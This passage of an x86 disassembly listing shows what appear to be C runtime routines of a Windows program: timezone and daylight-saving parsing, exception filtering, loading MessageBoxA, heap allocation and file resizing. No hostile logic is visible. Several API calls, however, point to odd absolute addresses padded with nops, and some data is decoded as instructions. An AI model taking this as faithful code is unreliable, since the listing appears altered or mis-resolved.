loc_424694: ; CODE XREF: sub_42464D+3Dj
mov edi, 7FFFh
jmp short loc_4246BC
; ---------------------------------------------------------------------------
loc_42469B: ; CODE XREF: sub_42464D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_4246B3
cmp edx, ebx
jnz short loc_4246B3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_4246FE
; ---------------------------------------------------------------------------
loc_4246B3: ; CODE XREF: sub_42464D+52j
; sub_42464D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_4246BC: ; CODE XREF: sub_42464D+45j
; sub_42464D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_4246D4: ; CODE XREF: sub_42464D+A6j
test ecx, esi
jnz short loc_4246F5
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_4246D4
; ---------------------------------------------------------------------------
loc_4246F5: ; CODE XREF: sub_42464D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_4246FE: ; CODE XREF: sub_42464D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_42464D endp
; ---------------------------------------------------------------------------
push 2
call sub_41DA29
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_42470C proc near ; DATA XREF: ___:0043C8B8o
; ___:0043D118o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42472F
cmp dword ptr [eax+10h], 3
jnz short loc_42472F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_42472F
jmp sub_42255C
; ---------------------------------------------------------------------------
loc_42472F: ; CODE XREF: sub_42470C+Dj
; sub_42470C+13j ...
mov eax, dword_4DB4A0
test eax, eax
jz short loc_42474C
push eax
call sub_4247A8
test eax, eax
pop ecx
jz short loc_42474C
push esi
call dword_4DB4A0
jmp short loc_42474E
; ---------------------------------------------------------------------------
loc_42474C: ; CODE XREF: sub_42470C+2Aj
; sub_42470C+35j
xor eax, eax
loc_42474E: ; CODE XREF: sub_42470C+3Ej
pop esi
retn 4
sub_42470C endp
; ---------------------------------------------------------------------------
word_424752 dw 0C68h ; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
inc edi
inc edx
add [eax+1DB8A3E8h], dl
add ah, byte ptr dword_4DB4A0[ebx]
retn
; ---------------------------------------------------------------------------
byte_424763 db 0FFh ; DATA XREF: ___:00429040o
dd 4DB4A035h, 91E89000h, 0C3021DB8h
; =============== S U B R O U T I N E =======================================
sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp
; sub_4222C2+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 25F0AF1h
test eax, eax
jz short loc_424788
xor esi, esi
loc_424788: ; CODE XREF: sub_424770+14j
mov eax, esi
pop esi
retn
sub_424770 endp
; =============== S U B R O U T I N E =======================================
sub_42478C proc near ; CODE XREF: sub_4222C2+73p
; sub_4222C2+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 28A0947h
nop
test eax, eax
jz short loc_4247A4
xor esi, esi
loc_4247A4: ; CODE XREF: sub_42478C+14j
mov eax, esi
pop esi
retn
sub_42478C endp
; =============== S U B R O U T I N E =======================================
sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp
; sub_42470C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call near ptr 25F0AB1h
nop
test eax, eax
jz short loc_4247BC
xor esi, esi
loc_4247BC: ; CODE XREF: sub_4247A8+10j
mov eax, esi
pop esi
retn
sub_4247A8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42255C
loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj
push 0Ah
call sub_4235C9
push 16h
call sub_425955
pop ecx
pop ecx
push 3
call sub_41B7C2
; END OF FUNCTION CHUNK FOR sub_42255C
; =============== S U B R O U T I N E =======================================
sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p
cmp dword_4DB560, 0
jnz short locret_4247EB
call sub_4247EC
inc dword_4DB560
locret_4247EB: ; CODE XREF: sub_4247D7+7j
retn
sub_4247D7 endp
; =============== S U B R O U T I N E =======================================
sub_4247EC proc near ; CODE XREF: sub_4247D7+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_4DB4A8, ebp
mov dword_43CD50, ebx
mov dword_43CD40, ebx
call sub_425AC7
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_424915
push offset dword_4DB4B0
call near ptr 2860000h
nop
cmp eax, ebx
jz loc_424A44
mov eax, dword_4DB4B0
mov ecx, dword_4DB504
imul eax, 3Ch
cmp word_4DB4F6, bp
push 1
pop edx
mov dword_43CCA8, eax
mov dword_4DB4A8, edx
jz short loc_424863
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_43CCA8, eax
loc_424863: ; CODE XREF: sub_4247EC+69j
cmp word_4DB54A, bp
jz short loc_424887
mov eax, dword_4DB558
cmp eax, ebp
jz short loc_424887
sub eax, ecx
mov dword_43CCAC, edx
imul eax, 3Ch
mov dword_43CCB0, eax
jmp short loc_424893
; ---------------------------------------------------------------------------
loc_424887: ; CODE XREF: sub_4247EC+7Ej
; sub_4247EC+87j
mov dword_43CCAC, ebp
mov dword_43CCB0, ebp
loc_424893: ; CODE XREF: sub_4247EC+99j
lea eax, [esp+14h+var_4]
mov esi, dword_42717C
push eax
push ebp
push 3Fh
mov edi, 220h
push off_43CD34
push ebx
push offset dword_4DB4B4
push edi
push dword_4DB344
call esi
test eax, eax
jz short loc_4248D0
cmp [esp+14h+var_4], ebp
jnz short loc_4248D0
mov eax, off_43CD34
and byte ptr [eax+3Fh], 0
jmp short loc_4248D8
; ---------------------------------------------------------------------------
loc_4248D0: ; CODE XREF: sub_4247EC+D1j
; sub_4247EC+D7j
mov eax, off_43CD34
and byte ptr [eax], 0
loc_4248D8: ; CODE XREF: sub_4247EC+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_43CD38
push ebx
push offset dword_4DB508
push edi
push dword_4DB344
call esi
test eax, eax
jz loc_424A3C
cmp [esp+14h+var_4], ebp
jnz loc_424A3C
mov eax, off_43CD38
and byte ptr [eax+3Fh], 0
jmp loc_424A44
; ---------------------------------------------------------------------------
loc_424915: ; CODE XREF: sub_4247EC+2Dj
cmp byte ptr [esi], 0
jz loc_424A44
mov eax, dword_4DB55C
cmp eax, ebp
jz short loc_424938
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_424A44
loc_424938: ; CODE XREF: sub_4247EC+139j
push dword_4DB55C
call sub_41B0B1
push esi
call sub_41AFE0
inc eax
push eax
call sub_41B4D5
add esp, 0Ch
cmp eax, ebp
mov dword_4DB55C, eax
jz loc_424A44
push esi
push eax
call sub_41BEB0
push 3
push esi
push off_43CD34
call sub_41B5F0
mov eax, off_43CD34
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_42498D
push 1
inc esi
pop edi
loc_42498D: ; CODE XREF: sub_4247EC+19Bj
push esi
call sub_41B6EE
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_43CCA8, ecx
loc_4249A4: ; CODE XREF: sub_4247EC+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_4249B2
cmp al, bl
jl short loc_4249B5
cmp al, 39h
jg short loc_4249B5
loc_4249B2: ; CODE XREF: sub_4247EC+1BCj
inc esi
jmp short loc_4249A4
; ---------------------------------------------------------------------------
loc_4249B5: ; CODE XREF: sub_4247EC+1C0j
; sub_4247EC+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_424A08
inc esi
push esi
call sub_41B6EE
imul eax, 3Ch
pop ecx
mov ecx, dword_43CCA8
add ecx, eax
mov dword_43CCA8, ecx
loc_4249D3: ; CODE XREF: sub_4247EC+1F2j
mov al, [esi]
cmp al, bl
jl short loc_4249E0
cmp al, 39h
jg short loc_4249E0
inc esi
jmp short loc_4249D3
; ---------------------------------------------------------------------------
loc_4249E0: ; CODE XREF: sub_4247EC+1EBj
; sub_4247EC+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_424A08
inc esi
push esi
call sub_41B6EE
pop ecx
mov ecx, dword_43CCA8
add ecx, eax
mov dword_43CCA8, ecx
loc_4249FB: ; CODE XREF: sub_4247EC+21Aj
mov al, [esi]
cmp al, bl
jl short loc_424A08
cmp al, 39h
jg short loc_424A08
inc esi
jmp short loc_4249FB
; ---------------------------------------------------------------------------
loc_424A08: ; CODE XREF: sub_4247EC+1CCj
; sub_4247EC+1F7j ...
cmp edi, ebp
jz short loc_424A14
neg ecx
mov dword_43CCA8, ecx
loc_424A14: ; CODE XREF: sub_4247EC+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_43CCAC, eax
jz short loc_424A3C
push 3
push esi
push off_43CD38
call sub_41B5F0
mov eax, off_43CD38
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_424A44
; ---------------------------------------------------------------------------
loc_424A3C: ; CODE XREF: sub_4247EC+10Bj
; sub_4247EC+115j ...
mov eax, off_43CD38
and byte ptr [eax], 0
loc_424A44: ; CODE XREF: sub_4247EC+40j
; sub_4247EC+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4247EC endp
; =============== S U B R O U T I N E =======================================
sub_424A4A proc near ; CODE XREF: sub_422669+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_43CCAC, edi
jnz short loc_424A5E
loc_424A57: ; CODE XREF: sub_424A4A+148j
; sub_424A4A+150j ...
xor eax, eax
jmp loc_424BAA
; ---------------------------------------------------------------------------
loc_424A5E: ; CODE XREF: sub_424A4A+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_43CD40
jnz short loc_424A7C
cmp eax, dword_43CD50
jz loc_424B7E
loc_424A7C: ; CODE XREF: sub_424A4A+24j
cmp dword_4DB4A8, edi
jz loc_424B54
movzx ecx, word_4DB556
push ecx
cmp word_4DB548, di
movzx ecx, word_4DB554
push ecx
movzx ecx, word_4DB552
push ecx
movzx ecx, word_4DB550
push ecx
jnz short loc_424ACE
movzx ecx, word_4DB54C
push edi
push ecx
movzx ecx, word_4DB54E
push ecx
movzx ecx, word_4DB54A
push ecx
push eax
push ebx
jmp short loc_424AE2
; ---------------------------------------------------------------------------
loc_424ACE: ; CODE XREF: sub_424A4A+65j
movzx ecx, word_4DB54E
push ecx
push edi
movzx ecx, word_4DB54A
push edi
push ecx
push eax
push edi
loc_424AE2: ; CODE XREF: sub_424A4A+82j
push ebx
call sub_424BF6
movzx eax, word_4DB502
add esp, 2Ch
cmp word_4DB4F4, di
push eax
movzx eax, word_4DB500
push eax
movzx eax, word_4DB4FE
push eax
movzx eax, word_4DB4FC
push eax
jnz short loc_424B3C
movzx eax, word_4DB4F8
push edi
push eax
movzx eax, word_4DB4FA
push eax
movzx eax, word_4DB4F6
push eax
push dword ptr [esi+14h]
push ebx
loc_424B31: ; CODE XREF: sub_424A4A+108j
push edi
call sub_424BF6
add esp, 2Ch
jmp short loc_424B7E
; ---------------------------------------------------------------------------
loc_424B3C: ; CODE XREF: sub_424A4A+C8j
movzx eax, word_4DB4FA
push eax
push edi
movzx eax, word_4DB4F6
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_424B31
; ---------------------------------------------------------------------------
loc_424B54: ; CODE XREF: sub_424A4A+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_424BF6
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_424BF6
add esp, 58h
loc_424B7E: ; CODE XREF: sub_424A4A+2Cj
; sub_424A4A+F0j
mov edx, dword_43CD44
mov eax, dword_43CD54
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_424BAE
cmp ecx, edx
jl loc_424A57
cmp ecx, eax
jg loc_424A57
cmp ecx, edx
jle short loc_424BC2
cmp ecx, eax
jge short loc_424BC2
loc_424BA8: ; CODE XREF: sub_424A4A+166j
; sub_424A4A+16Aj
mov eax, ebx
loc_424BAA: ; CODE XREF: sub_424A4A+Fj
; sub_424A4A+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424BAE: ; CODE XREF: sub_424A4A+144j
cmp ecx, eax
jl short loc_424BA8
cmp ecx, edx
jg short loc_424BA8
cmp ecx, eax
jle short loc_424BC2
cmp ecx, edx
jl loc_424A57
loc_424BC2: ; CODE XREF: sub_424A4A+158j
; sub_424A4A+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_424BE9
xor ecx, ecx
cmp eax, dword_43CD48
setnl cl
loc_424BE5: ; CODE XREF: sub_424A4A+1AAj
mov eax, ecx
jmp short loc_424BAA
; ---------------------------------------------------------------------------
loc_424BE9: ; CODE XREF: sub_424A4A+18Ej
xor ecx, ecx
cmp eax, dword_43CD58
setl cl
jmp short loc_424BE5
sub_424A4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p
; sub_424A4A+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_424C91
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_424C21
shl esi, 2
mov eax, dword_43CD58[esi]
jmp short loc_424C2A
; ---------------------------------------------------------------------------
loc_424C21: ; CODE XREF: sub_424BF6+1Ej
shl esi, 2
mov eax, dword_43CD8C[esi]
loc_424C2A: ; CODE XREF: sub_424BF6+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_424C64
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_424C6E
; ---------------------------------------------------------------------------
loc_424C64: ; CODE XREF: sub_424BF6+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_424C6E: ; CODE XREF: sub_424BF6+6Cj
cmp [ebp+arg_10], 5
jnz short loc_424CAC
cmp [ebp+arg_8], 0
jnz short loc_424C82
mov esi, dword_43CD5C[esi]
jmp short loc_424C88
; ---------------------------------------------------------------------------
loc_424C82: ; CODE XREF: sub_424BF6+82j
mov esi, dword_43CD90[esi]
loc_424C88: ; CODE XREF: sub_424BF6+8Aj
cmp ecx, esi
jle short loc_424CAC
sub ecx, 7
jmp short loc_424CAC
; ---------------------------------------------------------------------------
loc_424C91: ; CODE XREF: sub_424BF6+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_424CA2
mov ecx, dword_43CD58[eax*4]
jmp short loc_424CA9
; ---------------------------------------------------------------------------
loc_424CA2: ; CODE XREF: sub_424BF6+A1j
mov ecx, dword_43CD8C[eax*4]
loc_424CA9: ; CODE XREF: sub_424BF6+AAj
add ecx, [ebp+arg_18]
loc_424CAC: ; CODE XREF: sub_424BF6+7Cj
; sub_424BF6+94j ...
cmp [ebp+arg_0], 1
jnz short loc_424CDD
mov eax, [ebp+arg_1C]
mov dword_43CD44, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_43CD40, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43CD48, eax
jmp short loc_424D32
; ---------------------------------------------------------------------------
loc_424CDD: ; CODE XREF: sub_424BF6+BAj
mov eax, [ebp+arg_1C]
mov dword_43CD54, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_43CCB0
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43CD58, eax
jns short loc_424D15
add eax, 5265C00h
dec ecx
mov dword_43CD58, eax
jmp short loc_424D26
; ---------------------------------------------------------------------------
loc_424D15: ; CODE XREF: sub_424BF6+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_424D2C
sub eax, edx
inc ecx
mov dword_43CD58, eax
loc_424D26: ; CODE XREF: sub_424BF6+11Dj
mov dword_43CD54, ecx
loc_424D2C: ; CODE XREF: sub_424BF6+126j
mov dword_43CD50, ebx
loc_424D32: ; CODE XREF: sub_424BF6+E5j
pop esi
pop ebx
pop ebp
retn
sub_424BF6 endp
; =============== S U B R O U T I N E =======================================
sub_424D36 proc near ; CODE XREF: ___:00422E9Dp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_424D47
add esp, 0Ch
retn
sub_424D36 endp
; =============== S U B R O U T I N E =======================================
sub_424D47 proc near ; CODE XREF: sub_424D36+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DC7E1[eax], cl
jnz short loc_424D74
cmp [esp+arg_4], 0
jz short loc_424D6D
movzx eax, word_43C302[eax*2]
and eax, [esp+arg_4]
jmp short loc_424D6F
; ---------------------------------------------------------------------------
loc_424D6D: ; CODE XREF: sub_424D47+16j
xor eax, eax
loc_424D6F: ; CODE XREF: sub_424D47+24j
test eax, eax
jnz short loc_424D74
retn
; ---------------------------------------------------------------------------
loc_424D74: ; CODE XREF: sub_424D47+Fj
; sub_424D47+2Aj
push 1
pop eax
retn
sub_424D47 endp
; =============== S U B R O U T I N E =======================================
sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4DB564, ebx
push esi
push edi
jnz short loc_424DC7
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 26A0000h
mov edi, eax
cmp edi, ebx
jz short loc_424DFD
mov esi, dword_4270BC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov dword_4DB564, eax
jz short loc_424DFD
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4DB568, eax
call esi
mov dword_4DB56C, eax
loc_424DC7: ; CODE XREF: sub_424D78+Bj
mov eax, dword_4DB568
test eax, eax
jz short loc_424DE6
call eax
mov ebx, eax
test ebx, ebx
jz short loc_424DE6
mov eax, dword_4DB56C
test eax, eax
jz short loc_424DE6
push ebx
call eax
mov ebx, eax
loc_424DE6: ; CODE XREF: sub_424D78+56j
; sub_424D78+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4DB564
loc_424DF9: ; CODE XREF: sub_424D78+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424DFD: ; CODE XREF: sub_424D78+1Cj
; sub_424D78+33j
xor eax, eax
jmp short loc_424DF9
sub_424D78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E01 proc near ; CODE XREF: sub_423936+22p
; sub_423936+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_424E22
test esi, esi
jnz short loc_424E1C
push 1
pop esi
loc_424E1C: ; CODE XREF: sub_424E01+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_424E22: ; CODE XREF: sub_424E01+12j
; sub_424E01+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_424E81
mov eax, dword_4DC908
cmp eax, 3
jnz short loc_424E4D
mov eax, [ebp+arg_0]
cmp eax, dword_4DC900
ja short loc_424E6C
push eax
call sub_41E1CB
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424E97
jmp short loc_424E6C
; ---------------------------------------------------------------------------
loc_424E4D: ; CODE XREF: sub_424E01+30j
cmp eax, 2
jnz short loc_424E6C
cmp esi, dword_43C2F4
ja short loc_424E6C
mov eax, esi
shr eax, 4
push eax
call sub_41EC6E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424EAB
loc_424E6C: ; CODE XREF: sub_424E01+3Bj
; sub_424E01+4Aj ...
push esi
push 8
push dword_4DC904
call near ptr 27B0000h
nop
mov edi, eax
test edi, edi
jnz short loc_424EA5
loc_424E81: ; CODE XREF: sub_424E01+26j
cmp dword_4DB2FC, 0
jz short loc_424EA5
push esi
call sub_41F312
test eax, eax
pop ecx
jz short loc_424EAE
jmp short loc_424E22
; ---------------------------------------------------------------------------
loc_424E97: ; CODE XREF: sub_424E01+48j
push [ebp+arg_0]
loc_424E9A: ; CODE XREF: sub_424E01+ABj
push 0
push edi
call sub_41B590
add esp, 0Ch
loc_424EA5: ; CODE XREF: sub_424E01+7Ej
; sub_424E01+87j
mov eax, edi
loc_424EA7: ; CODE XREF: sub_424E01+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_424EAB: ; CODE XREF: sub_424E01+69j
push esi
jmp short loc_424E9A
; ---------------------------------------------------------------------------
loc_424EAE: ; CODE XREF: sub_424E01+92j
xor eax, eax
jmp short loc_424EA7
sub_424E01 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4239DB
loc_424EB2: ; CODE XREF: sub_4239DB+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DC5A0, esi
jle short loc_424F05
loc_424EC1: ; CODE XREF: sub_4239DB+1528j
mov eax, dword_4DB598
mov eax, [eax+esi*4]
test eax, eax
jz short loc_424EFC
test byte ptr [eax+0Ch], 83h
jz short loc_424EE0
push eax
call sub_41B05B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_424EE0
inc edi
loc_424EE0: ; CODE XREF: sub_4239DB+14F6j
; sub_4239DB+1502j
cmp esi, 14h
jl short loc_424EFC
mov eax, dword_4DB598
push dword ptr [eax+esi*4]
call sub_41B0B1
mov eax, dword_4DB598
pop ecx
and dword ptr [eax+esi*4], 0
loc_424EFC: ; CODE XREF: sub_4239DB+14F0j
; sub_4239DB+1508j
inc esi
cmp esi, dword_4DC5A0
jl short loc_424EC1
loc_424F05: ; CODE XREF: sub_4239DB+14E4j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4239DB
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424F0A proc near ; CODE XREF: sub_423A33+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BB20
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DC6C0
jnb loc_42503F
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DC5C0[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_42503F
push 1
push esi
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_425049
push 2
push esi
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_425049
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_424FEC
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41B590
push 8000h
push ebx
call sub_425B44
add esp, 14h
mov [ebp+arg_4], eax
loc_424FA0: ; CODE XREF: sub_424F0A+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_424FAB
mov eax, edi
loc_424FAB: ; CODE XREF: sub_424F0A+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_42291D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_424FC9
sub edi, eax
test edi, edi
jle short loc_424FDF
jmp short loc_424FA0
; ---------------------------------------------------------------------------
loc_424FC9: ; CODE XREF: sub_424F0A+B5j
cmp dword_4DB27C, 5
jnz short loc_424FDC
mov dword_4DB278, 0Dh
loc_424FDC: ; CODE XREF: sub_424F0A+C6j
or esi, 0FFFFFFFFh
loc_424FDF: ; CODE XREF: sub_424F0A+BBj
push [ebp+arg_4]
push ebx
call sub_425B44
pop ecx
pop ecx
jmp short loc_42502C
; ---------------------------------------------------------------------------
loc_424FEC: ; CODE XREF: sub_424F0A+71j
jge short loc_42502C
push 0
push [ebp+arg_4]
push ebx
call sub_42272B
push ebx
call sub_4238A2
add esp, 10h
push eax
nop
call near ptr 25F0000h
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_42502C
mov dword_4DB278, 0Dh
nop
call near ptr 2670897h
mov dword_4DB27C, eax
loc_42502C: ; CODE XREF: sub_424F0A+E0j
; sub_424F0A:loc_424FECj ...
push 0
push [ebp+arg_0]
push ebx
call sub_42272B
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_42504C
; ---------------------------------------------------------------------------
loc_42503F: ; CODE XREF: sub_424F0A+1Aj
; sub_424F0A+36j
mov dword_4DB278, 9
loc_425049: ; CODE XREF: sub_424F0A+4Ej
; sub_424F0A+63j
or eax, 0FFFFFFFFh
loc_42504C: ; CODE XREF: sub_424F0A+133j
pop esi
pop ebx
leave
retn
sub_424F0A endp
; =============== S U B R O U T I N E =======================================
sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp
; sub_4241CF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_425066
cmp ecx, esi
jnb short loc_425069
loc_425066: ; CODE XREF: sub_425050+10j
push 1
pop eax
loc_425069: ; CODE XREF: sub_425050+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_425050 endp
; =============== S U B R O U T I N E =======================================
sub_425071 proc near ; CODE XREF: sub_42512A+40p
; sub_42512A+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250A3
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250A3
inc dword ptr [esi+8]
loc_4250A3: ; CODE XREF: sub_425071+19j
; sub_425071+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250BB
inc dword ptr [esi+8]
loc_4250BB: ; CODE XREF: sub_425071+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_425050
add esp, 0Ch
pop edi
pop esi
retn
sub_425071 endp
; =============== S U B R O U T I N E =======================================
sub_4250CF proc near ; CODE XREF: sub_42512A+30p
; sub_42512A+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_4250CF endp
; =============== S U B R O U T I N E =======================================
sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p
; sub_425BBA+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4250FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
